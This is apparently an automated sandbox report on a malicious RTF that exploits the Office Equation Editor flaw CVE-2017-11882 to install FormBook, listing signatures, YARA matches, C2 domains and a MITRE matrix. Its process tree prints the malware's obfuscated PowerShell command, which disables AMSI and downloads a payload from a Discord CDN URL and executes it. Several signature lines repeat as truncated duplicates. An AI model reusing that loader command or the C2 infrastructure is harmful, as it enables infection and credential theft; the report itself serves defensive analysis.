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Windows Analysis Report SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.15350.12171…

Overview

General Information

Sample 
Name:

SecuriteInfo.com.Exploit.R
tf.Obfuscated.32.15350.12
171 (renamed file 
extension from 12171 to 
rtf)

Analysis ID: 532961

MD5: bdacb3b17f31a06…

SHA1: 9f6930782942ec4…

SHA256: 16fc1ecc295f8d7…

Tags: rtf

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Document contains OLE streams wh

Document contains OLE streams wh

Document contains OLE streams wh

Document contains OLE streams wh

Document contains OLE streams wh

Document contains OLE streams wh

Document contains OLE streams whDocument contains OLE streams wh……

Sigma detected: Office product drop

Sigma detected: Office product drop

Sigma detected: Office product drop

Sigma detected: Office product drop

Sigma detected: Office product drop

Sigma detected: Office product drop

Sigma detected: Office product dropSigma detected: Office product drop……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Document exploit detected (creates 

Document exploit detected (creates 

Document exploit detected (creates 

Document exploit detected (creates 

Document exploit detected (creates 

Document exploit detected (creates 

Document exploit detected (creates Document exploit detected (creates ……

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped fileAntivirus detection for dropped file

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers ExploitingSigma detected: Droppers Exploiting……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Sigma detected: Bad Opsec Default

Sigma detected: Bad Opsec Default

Sigma detected: Bad Opsec Default

Sigma detected: Bad Opsec Default

Sigma detected: Bad Opsec Default

Sigma detected: Bad Opsec Default

Sigma detected: Bad Opsec DefaultSigma detected: Bad Opsec Default……

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script ESigma detected: Suspicious Script E……

Document contains OLE streams wi

Document contains OLE streams wi

Document contains OLE streams wi

Document contains OLE streams wi

Document contains OLE streams wi

Document contains OLE streams wi

Document contains OLE streams wiDocument contains OLE streams wi……

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMICreates processes via WMI

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains wPerforms DNS queries to domains w……

Found potential equation exploit (CV

Found potential equation exploit (CV

Found potential equation exploit (CV

Found potential equation exploit (CV

Found potential equation exploit (CV

Found potential equation exploit (CV

Found potential equation exploit (CVFound potential equation exploit (CV……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript 

Sigma detected: WScript or CScript Sigma detected: WScript or CScript ……

Sigma detected: Suspicious Rundll3

Sigma detected: Suspicious Rundll3

Sigma detected: Suspicious Rundll3

Sigma detected: Suspicious Rundll3

Sigma detected: Suspicious Rundll3

Sigma detected: Suspicious Rundll3

Sigma detected: Suspicious Rundll3Sigma detected: Suspicious Rundll3……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office PrSigma detected: Microsoft Office Pr……

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts processOffice equation editor starts process……

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line found

Very long command line foundVery long command line found

Microsoft Office drops suspicious files

Microsoft Office drops suspicious files

Microsoft Office drops suspicious files

Microsoft Office drops suspicious files

Microsoft Office drops suspicious files

Microsoft Office drops suspicious files

Microsoft Office drops suspicious filesMicrosoft Office drops suspicious files

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Found suspicious RTF objects

Found suspicious RTF objects

Found suspicious RTF objects

Found suspicious RTF objects

Found suspicious RTF objects

Found suspicious RTF objects

Found suspicious RTF objectsFound suspicious RTF objects

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, thisVery long cmdline option found, this……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE strDocument misses a certain OLE str……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detectedPotential document exploit detected……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

WINWORD.EXE (PID: 672 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 1232 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: 

A87236E214F6D42A65F5DEDAC816AEC8)
cmd.exe (PID: 1812 cmdline: CmD.exe /C cscript %tmp%\Client.vbs    A C MD5: AD7B9C14083B52BC532FBA5948342B98)

cscript.exe (PID: 2700 cmdline: cscript C:\Users\user\AppData\Local\Temp\Client.vbs    A C MD5: A3A35EE79C64A640152B3113E6E254E2)

powershell.exe (PID: 2652 cmdline: Powershell $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*iUtils') {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e 

in $d) {if ($e.Name -like '*Context') {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1);$0462
662046266204626620462662046266204626620462662=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101
,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114
,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41
,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,11
6,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,
93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91
,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,9
3,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,
83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,4
9,85,67,54,61,87,114,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70
,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,4
8,69,69,57,53,69,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,
101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,48,50,65,53,50,65,48,56,49,32,61
,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,12
1,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,1
17,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32
,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112
,115,58,47,47,99,100,110,46,100,105,115,99,111,114,100,97,112,112,46,99,111,109,47,97,116,116,97,99,104,109,101,110,116,115,47,57,49,53,51,52,55,56,52,53,55,53,50,55,48,5
3,49,48,57,47,57,49,53,55,57,57,56,48,48,55,52,48,52,54,50,54,54,50,47,109,111,110,111,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70,49,85,67,4
6,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,1
05,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115
,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($0462662046266204626620462662046266204626620462662)|I`E`X MD5: 
852D67A27E454BD389FA7F02A8CBE23F)

calc.exe (PID: 3060 cmdline: {path} MD5: 60B7C0FEAD45F2066E5B805A91F4F0FC)

explorer.exe (PID: 1764 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

rundll32.exe (PID: 236 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: 51138BEEA3E2C21EC44D0932C71762A8)

cmd.exe (PID: 2176 cmdline: /c del "C:\WINDOWS\syswow64\calc.exe" MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.getyourshoponline.com/t3t2/"

  ],

  "decoy": [

    "professorphilipkaloki.com",

    "restorationlifeplus.com",

    "worldfreegamez.com",

    "paulasnaturalelements.com",

    "vecydoy.xyz",

    "certifiedhalina.com",

    "roundrockmail.com",

    "dyort.com",

    "ge3f.xyz",

    "skafina.store",

    "centsablefinancialplanning.com",

    "avatarig.com",

    "meta-x.store",

    "metataxbit.com",

    "contact-ebf.com",

    "soungy.com",

    "theoptiontwo.com",

    "pangeadba.com",

    "imovelemoradia.com",

    "almisanbs.net",

    "tracarau.info",

    "waterfallswisconsinplus.xyz",

    "d6f0tmpjmk9eutnnvfk4716.com",

    "kafani.xyz",

    "myponzu.com",

    "indigovideography.com",

    "poolcomplaints.com",

    "metaboxgame.xyz",

    "dtbd.net",

    "nocallwaiting.com",

    "imim-token.com",

    "annaitherasa.com",

    "caratnaked.com",

    "nnhu.space",

    "ballufa.bet",

    "theoudhy.com",

    "theroadbrand.store",

    "voguishshop.com",

    "wintangible.com",

    "cornheaderparts.com",

    "pulpbranding.com",

    "ambulante-reha-muenchen.com",

    "xd7bh22mc04.xyz",

    "keldefi.com",

    "maman-travail.com",

    "socialbizz.xyz",

    "shopauthentictampabayrays.com",

    "camylo.online",

    "zhangchanghong.com",

    "tafelimited.com",

    "eminkoy.com",

    "towne-kitchen.com",

    "marcasemele.com",

    "203.life",

    "innerrackers.com",

    "fddf.xyz",

    "sweettreatworld.com",

    "freeze-the-fat-away.com",

    "lillianpsmith.com",

    "fabulouspatricia.com",

    "sling-city.com",

    "wavesmodel.com",

    "africanancesry.com",

    "os-meta.com"

  ]

}

Source Rule Description Author Strings

C:\Users\user\AppData\Local\Microsoft\Windows\Temp
orary Internet Files\Content.Word\~WRF{07064FCF-B986-
4FF1-8E5F-48BE8D9FE1ED}.tmp

rtf_cve2017_11882_ole Attempts to 
identify the exploit 
CVE 2017 11882

John Davison 0x3000:$headers: 1C 00 00 00 02 00 9E C4 A9 00 00 0
0 00 00 00 00 C8 A7 5C 00 C4 EE 5B 00 00 00 00 00 0
3 01 01 03 0A
0x3021:$font: 0A 01 08 5A 5A
0x3052:$winexec: 12 0C 43 00

Yara Overview

Dropped Files
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C:\Users\user\AppData\Local\Microsoft\Windows\Temp
orary Internet Files\Content.Word\~WRF{07064FCF-B986-
4FF1-8E5F-48BE8D9FE1ED}.tmp

EXP_potential_CVE_2017
_11882

unknown ReversingLabs 0x0:$docfilemagic: D0 CF 11 E0 A1 B1 1A E1
0x2f00:$equation1: Equation Native
0x920:$equation2: Microsoft Equation 3.0
0x3029:$exe: .exe
0x3052:$address: 12 0C 43 00

Source Rule Description Author Strings

Source Rule Description Author Strings

0000000C.00000002.684885243.00000000001F
0000.00000040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

0000000C.00000002.684885243.00000000001F
0000.00000040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

0000000C.00000002.684885243.00000000001F
0000.00000040.00020000.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x18849:$sqlite3step: 68 34 1C 7B E1
0x1895c:$sqlite3step: 68 34 1C 7B E1
0x18878:$sqlite3text: 68 38 2A 90 C5
0x1899d:$sqlite3text: 68 38 2A 90 C5
0x1888b:$sqlite3blob: 68 53 D8 7F 8C
0x189b3:$sqlite3blob: 68 53 D8 7F 8C

00000000.00000002.568094233.0000000006339000.00000
004.00000001.sdmp

rtf_cve2017_11882_ole Attempts to identify 
the exploit CVE 
2017 11882

John Davison 0x4900:$headers: 1C 00 00 00 02 00 9E C4 A9 00 00 0
0 00 00 00 00 E8 D8 33 06 00 00 00 00 00 00 00 00 03 
01 01 03 0A
0x4921:$font: 0A 01 08 5A 5A
0x4952:$winexec: 12 0C 43 00

0000000A.00000002.510729080.000000000008
0000.00000040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Click to see the 27 entries

Source Rule Description Author Strings

10.0.calc.exe.400000.1.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

10.0.calc.exe.400000.1.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

10.0.calc.exe.400000.1.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x17a49:$sqlite3step: 68 34 1C 7B E1
0x17b5c:$sqlite3step: 68 34 1C 7B E1
0x17a78:$sqlite3text: 68 38 2A 90 C5
0x17b9d:$sqlite3text: 68 38 2A 90 C5
0x17a8b:$sqlite3blob: 68 53 D8 7F 8C
0x17bb3:$sqlite3blob: 68 53 D8 7F 8C

10.0.calc.exe.400000.2.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

10.0.calc.exe.400000.2.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Memory Dumps

Unpacked PEs
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Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: Suspicious Rundll32 Without Any CommandLine Params

Sigma detected: Microsoft Office Product Spawning Windows Shell

Data Obfuscation:

Sigma detected: Office product drops script at suspicious location

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for dropped file

Found malware configuration

Yara detected FormBook

Exploits:

Found potential equation exploit (CVE-2017-11882)

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Performs DNS queries to domains with low reputation

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Document contains OLE streams which likely are hidden ActiveX objects

Click to see the 14 entries

Source Rule Description Author Strings
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Malicious sample detected (through community Yara rule)

Document contains OLE streams with names of living off the land binaries

Very long command line found

Microsoft Office drops suspicious files

Found suspicious RTF objects

Data Obfuscation:

Persistence and Installation Behavior:

Creates processes via WMI

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Maps a DLL or memory area into another process

Injects a PE file into a foreign processes

Sample uses process hollowing technique

Writes to foreign memory regions

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Valid
Accounts

Windows
Management
Instrumentation 1 1

DLL Side-
Loading 1

DLL Side-
Loading 1

Deobfuscate/Decode
Files or Information 1

Credential
API
Hooking 1

File and Directory
Discovery 2

Remote
Services

Archive
Collected
Data 1

Exfiltration Over Other
Network Medium

Ingress Tool
Transfer

Default
Accounts

Scripting 1 Boot or
Logon
Initialization
Scripts

Process
Injection 7 1 2

Scripting 1 LSASS
Memory

System Information
Discovery 1 1 4

Remote
Desktop
Protocol

Credential
API
Hooking 1

Exfiltration Over
Bluetooth

Encrypted
Channel

Domain
Accounts

Shared Modules 1 Logon Script
(Windows)

Logon Script
(Windows)

Obfuscated Files or
Information 2

Security
Account
Manager

Query Registry 1 SMB/Windows
Admin Shares

Clipboard
Data 1

Automated Exfiltration Non-Application
Layer Protocol
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Local
Accounts

Exploitation for Client
Execution 3 3

Logon Script
(Mac)

Logon Script
(Mac)

Software Packing 1 NTDS Security Software
Discovery 1 2 1

Distributed
Component
Object Model

Input
Capture

Scheduled Transfer Application Layer
Protocol

Cloud
Accounts

Command and
Scripting
Interpreter 1 1 1

Network
Logon Script

Network Logon
Script

DLL Side-Loading 1 LSA
Secrets

Process Discovery 2 SSH Keylogging Data Transfer Size
Limits

Fallback
Channels

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Rootkit 1 Cached
Domain
Credentials

Virtualization/Sandbox
Evasion 3 1

VNC GUI Input
Capture

Exfiltration Over C2
Channel

Multiband
Communication

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Masquerading 1 DCSync Remote System
Discovery 1

Windows
Remote
Management

Web Portal
Capture

Exfiltration Over
Alternative Protocol

Commonly Used
Port

Drive-by
Compromise

Command and
Scripting Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Modify Registry 1 Proc
Filesystem

Network Service
Scanning

Shared
Webroot

Credential
API
Hooking

Exfiltration Over
Symmetric Encrypted
Non-C2 Protocol

Application Layer
Protocol

Exploit Public-
Facing
Application

PowerShell At (Linux) At (Linux) Virtualization/Sandbox
Evasion 3 1

/etc/passwd
and
/etc/shadow

System Network
Connections
Discovery

Software
Deployment
Tools

Data
Staged

Exfiltration Over
Asymmetric Encrypted
Non-C2 Protocol

Web Protocols

Supply Chain
Compromise

AppleScript At
(Windows)

At (Windows) Process
Injection 7 1 2

Network
Sniffing

Process Discovery Taint Shared
Content

Local Data
Staging

Exfiltration Over
Unencrypted/Obfuscated
Non-C2 Protocol

File Transfer
Protocols

Compromise
Software
Dependencies
and
Development
Tools

Windows Command
Shell

Cron Cron Rundll32 1 Input
Capture

Permission Groups
Discovery

Replication
Through
Removable
Media

Remote
Data
Staging

Exfiltration Over
Physical Medium

Mail Protocols

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Behavior Graph

ID: 532961

Sample: SecuriteInfo.com.Exploit.Rt...

Startdate: 02/12/2021

Architecture: WINDOWS

Score: 100

google.com

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Document contains OLE
streams which likely

are hidden ActiveX objects
Found malware configuration 17 other signatures

powershell.exe

4 16

        started       

WINWORD.EXE

292 23

        started       

EQNEDT32.EXE

47

        started       

cdn.discordapp.com

162.159.135.233, 443, 49167

CLOUDFLARENETUS

United States

Writes to foreign memory
regions

Injects a PE file into
a foreign processes

calc.exe

        started       C:\Users\user\...\Client.vbs:Zone.Identifier, ASCII

dropped

C:\Users\user\AppData\Local\Temp\Client.vbs, ASCII

dropped

~WRF{07064FCF-B986...F-48BE8D9FE1ED}.tmp, Composite

dropped

Document exploit detected
(creates forbidden files)

Microsoft Office drops
suspicious files

Office equation editor
starts processes (likely

CVE 2017-11882 or CVE-2018-0802)

cmd.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

2 other signatures

explorer.exe

injected

cscript.exe

        started       

td-balancer-db4-63-177.wixdns.net

185.230.63.177, 49170, 80

WIX_COMIL

Israel

www.vecydoy.xyz

104.21.39.13, 49168, 80

CLOUDFLARENETUS

United States

6 other IPs or domains

System process connects
to network (likely due

to code injection or
exploit)

Performs DNS queries
